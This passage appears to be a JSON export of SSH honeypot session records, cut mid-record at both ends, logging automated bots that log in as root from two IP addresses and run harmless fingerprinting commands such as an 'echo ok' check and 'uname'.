  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34142,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:33.462674+00:00",
  "ended_at": "2026-08-23T08:38:34.582559+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8662ea88-bc02-4ce4-b429-bbb8d400e7c6",
  "name": "sandy-gritty-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 41514,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 183,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-23T08:38:32.482599+00:00",
  "ended_at": "2026-08-23T08:38:35.137563+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1109f70c-f00e-41be-83d3-0966558ef5a0",
  "name": "early-pleasant-quail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34136,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:30.904848+00:00",
  "ended_at": "2026-08-23T08:38:32.789221+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c3cea749-5ea4-4dad-8971-2023243c76ba",
  "name": "verdant-vernal-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34134,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:29.242930+00:00",
  "ended_at": "2026-08-23T08:38:30.202275+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ab6e006c-9bd9-4d52-83a0-8e80c9a5c7d4",
  "name": "kindly-feathered-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41660,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:26.665526+00:00",
  "ended_at": "2026-08-23T08:38:28.468149+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c5dec703-2b58-4e4a-b672-791854c9118f",
  "name": "keen-fabled-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 35800,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 167,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-23T08:38:23.439246+00:00",
  "ended_at": "2026-08-23T08:38:27.314290+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "746d37c3-d7f7-4e6a-a40e-833d30d7feed",
  "name": "scarlet-sturdy-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41648,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:22.991107+00:00",
  "ended_at": "2026-08-23T08:38:25.844472+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "614730e8-2124-41f8-9398-053eb6f465a0",
  "name": "muted-autumn-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41632,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:21.273014+00:00",
  "ended_at": "2026-08-23T08:38:22.330991+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "15b596f4-46e6-4237-9597-2c8db5590b24",
  "name": "cobalt-lofty-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41620,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:19.703129+00:00",
  "ended_at": "2026-08-23T08:38:20.584574+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b4728791-747c-45d8-be6d-6d21acb2fb42",
  "name": "cunning-blunt-cheetah",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48936,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:16.876219+00:00",
  "ended_at": "2026-08-23T08:38:19.045899+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "29def29c-2857-4948-9e68-5e6270c4b0c2",
  "name": "early-polar-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48924,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:15.074155+00:00",
  "ended_at": "2026-08-23T08:38:16.059683+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "34f2e7bb-3f6a-4e18-83a7-8ff2ef7510e7",
  "name": "frugal-quaint-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48908,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:12.655834+00:00",
  "ended_at": "2026-08-23T08:38:14.409844+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9b465938-c592-426d-9c84-d5eace65b04e",
  "name": "canny-hazel-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48892,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:11.024664+00:00",
  "ended_at": "2026-08-23T08:38:11.921448+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3fc929ab-66aa-4107-a140-dddebb526e36",
  "name": "nimble-fabled-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48876,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:09.231355+00:00",
  "ended_at": "2026-08-23T08:38:10.253768+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6d45ee11-6313-43fd-bc2b-e741c347a631",
  "name": "jolly-slender-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58792,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:06.458903+00:00",
  "ended_at": "2026-08-23T08:38:08.406585+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "219828e1-3171-4d54-ba58-4cd5d6587127",
  "name": "candid-zealous-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58776,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:03.963175+00:00",
  "ended_at": "2026-08-23T08:38:05.790365+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8ad5c112-de15-4a24-896b-6fc27987a097",
  "name": "wandering-amiable-chough",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58766,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:38:01.389251+00:00",
  "ended_at": "2026-08-23T08:38:03.238948+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f198f1aa-c4b0-4a6b-91e3-a4db0bba57c6",
  "name": "verdant-quartz-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58764,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:59.245614+00:00",
  "ended_at": "2026-08-23T08:38:00.580542+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "14027401-c18f-4059-ad63-63f1e27dd919",
  "name": "coastal-merry-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39938,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 174,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-23T08:37:58.429112+00:00",
  "ended_at": "2026-08-23T08:38:01.584691+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ce181d61-f6d5-40a3-af81-425ce24a1f6d",
  "name": "tangled-regal-toucan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 42858,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 182,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-23T08:37:57.814752+00:00",
  "ended_at": "2026-08-23T08:38:02.613930+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6a94cb48-1cff-4eb0-b721-d62ec27ac14a",
  "name": "bashful-alpine-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51252,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:56.955670+00:00",
  "ended_at": "2026-08-23T08:37:58.416354+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f6b149a0-e69d-4337-9ae1-e13088688468",
  "name": "lively-fringed-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51242,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:53.564019+00:00",
  "ended_at": "2026-08-23T08:37:56.340010+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d725e60c-84ca-4478-8ebe-103d6f613296",
  "name": "lunar-kindly-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 39920,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 180,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-23T08:37:51.385909+00:00",
  "ended_at": "2026-08-23T08:37:56.499532+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "05a92c10-b0ab-43d1-9012-8a01ffc2465a",
  "name": "gnarled-peaty-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51238,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:50.768274+00:00",
  "ended_at": "2026-08-23T08:37:52.747039+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1d178f4a-1251-41d0-afdc-51f2eeb9b440",
  "name": "tranquil-brazen-chamois",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44216,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:45.303283+00:00",
  "ended_at": "2026-08-23T08:37:49.967744+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a811e924-4fa2-475b-bcf6-25fb2f91dcd9",
  "name": "lunar-jaunty-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44206,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:43.479095+00:00",
  "ended_at": "2026-08-23T08:37:44.625930+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "99020f8f-49ba-438f-8e8c-c2ef5ba057a8",
  "name": "keen-forlorn-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 51928,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 170,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-23T08:37:43.172096+00:00",
  "ended_at": "2026-08-23T08:37:48.866605+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a2e89649-f285-4d45-8c25-249b02c2f2b8",
  "name": "crystal-jagged-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44196,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:41.641119+00:00",
  "ended_at": "2026-08-23T08:37:42.677842+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d347f9fb-c7a4-4ac3-882f-2a000675ae7d",
  "name": "lanky-civil-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44188,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:39.736159+00:00",
  "ended_at": "2026-08-23T08:37:41.001686+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "75f66385-1842-4a13-82a2-0f53b5955ee3",
  "name": "barren-autumn-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40352,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:36.865158+00:00",
  "ended_at": "2026-08-23T08:37:39.016916+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "45383ad5-cc1a-423b-8673-7e6eefb8568d",
  "name": "ginger-feral-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40350,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:35.099829+00:00",
  "ended_at": "2026-08-23T08:37:36.040316+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e81e7026-edf6-404e-ab1e-519c59155a28",
  "name": "autumn-frugal-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40334,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:33.010688+00:00",
  "ended_at": "2026-08-23T08:37:34.330500+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "24f4b214-dd71-4e0c-98f6-30814d044744",
  "name": "vigilant-crystal-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40322,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:31.274966+00:00",
  "ended_at": "2026-08-23T08:37:32.276331+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6ac3ee3a-6797-4100-905d-3bd310a707ee",
  "name": "fearless-emerald-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40316,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:29.676138+00:00",
  "ended_at": "2026-08-23T08:37:30.628953+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "07a21df6-567a-492d-9814-6d9483947637",
  "name": "lucid-grumpy-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37314,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:27.488077+00:00",
  "ended_at": "2026-08-23T08:37:28.888478+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7f3398fd-e925-4721-910e-e56947a3bdda",
  "name": "pleasant-clever-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37306,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:24.729739+00:00",
  "ended_at": "2026-08-23T08:37:26.656598+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e6ba5147-8e60-4968-934a-0563f61414a9",
  "name": "thorny-woven-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37296,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:22.389768+00:00",
  "ended_at": "2026-08-23T08:37:24.091512+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9e97c580-efb2-4050-a49d-7dab1378fea4",
  "name": "calm-ivory-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37290,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:19.458589+00:00",
  "ended_at": "2026-08-23T08:37:21.591632+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d688322e-269f-49f5-a547-1ccc30659ad8",
  "name": "balmy-grumpy-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47510,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:17.525040+00:00",
  "ended_at": "2026-08-23T08:37:18.666080+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c918f916-676d-4664-a0f5-5ff881e5983f",
  "name": "sturdy-loyal-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47506,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:15.290629+00:00",
  "ended_at": "2026-08-23T08:37:16.691490+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "adfc0576-d945-4786-b621-37353c262639",
  "name": "marine-bronzed-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47504,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:12.419818+00:00",
  "ended_at": "2026-08-23T08:37:14.534551+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a3eae2fa-380b-48d5-bb0e-a3ae746c6466",
  "name": "golden-painted-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47490,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:10.139820+00:00",
  "ended_at": "2026-08-23T08:37:11.787266+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3f1b06f5-be78-44fb-80d5-efd1aee938fc",
  "name": "calm-solar-muntjac",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33254,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:08.407316+00:00",
  "ended_at": "2026-08-23T08:37:09.473900+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0ed8cb79-1c65-4891-aca0-7947bb5bf22e",
  "name": "marine-twilight-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33250,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:05.924727+00:00",
  "ended_at": "2026-08-23T08:37:07.690866+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3721cb39-a037-481e-8245-217cf8b4bfd2",
  "name": "bronzed-rapid-fieldfare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33238,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:03.799520+00:00",
  "ended_at": "2026-08-23T08:37:05.232647+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9993c9e2-5ff9-49c6-8e4e-6f5247d82697",
  "name": "lawful-fringed-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33236,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:37:02.087863+00:00",
  "ended_at": "2026-08-23T08:37:02.981945+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9d5b4252-b020-4be2-baa8-5f317f80eec7",
  "name": "opal-snowy-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 33228,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:59.021139+00:00",
  "ended_at": "2026-08-23T08:37:01.262567+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bc08c004-7697-4457-abf2-75ef6dbce0e5",
  "name": "seaward-velvet-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57586,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:56.227746+00:00",
  "ended_at": "2026-08-23T08:36:58.325070+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8ca1ba6b-bd36-46fc-ae75-77d68e235eee",
  "name": "noble-seaward-panther",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57574,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T08:36:54.085579+00:00",
  "ended_at": "2026-08-23T08:36:55.586452+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "98a2ebed-2e98-4c8c-95fe-03becbb06990",
  "name": "hidden-bold-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.217",
  "src_port": 55386,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 168,
